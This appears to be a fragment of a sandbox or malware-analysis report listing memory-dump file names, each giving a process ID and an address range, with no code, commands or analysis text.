                                                                                                                      memory/1960-907-0x00007FFC0E1E0000-0x00007FFC0ECA1000-memory.dmp

                                                                                                                      memory/1960-614-0x00007FFC0E1E0000-0x00007FFC0ECA1000-memory.dmp

                                                                                                                      memory/4812-8-0x0000000000DA0000-0x0000000000DC9000-memory.dmp

                                                                                                                      memory/4952-35-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      memory/4952-30-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      memory/4952-26-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      memory/4952-31-0x00007FFC2C1F0000-0x00007FFC2C3E5000-memory.dmp

                                                                                                                      memory/4952-34-0x00007FFC2B510000-0x00007FFC2B5CE000-memory.dmp

                                                                                                                      memory/4952-27-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      memory/4952-25-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      memory/4952-28-0x0000000140000000-0x0000000140008000-memory.dmp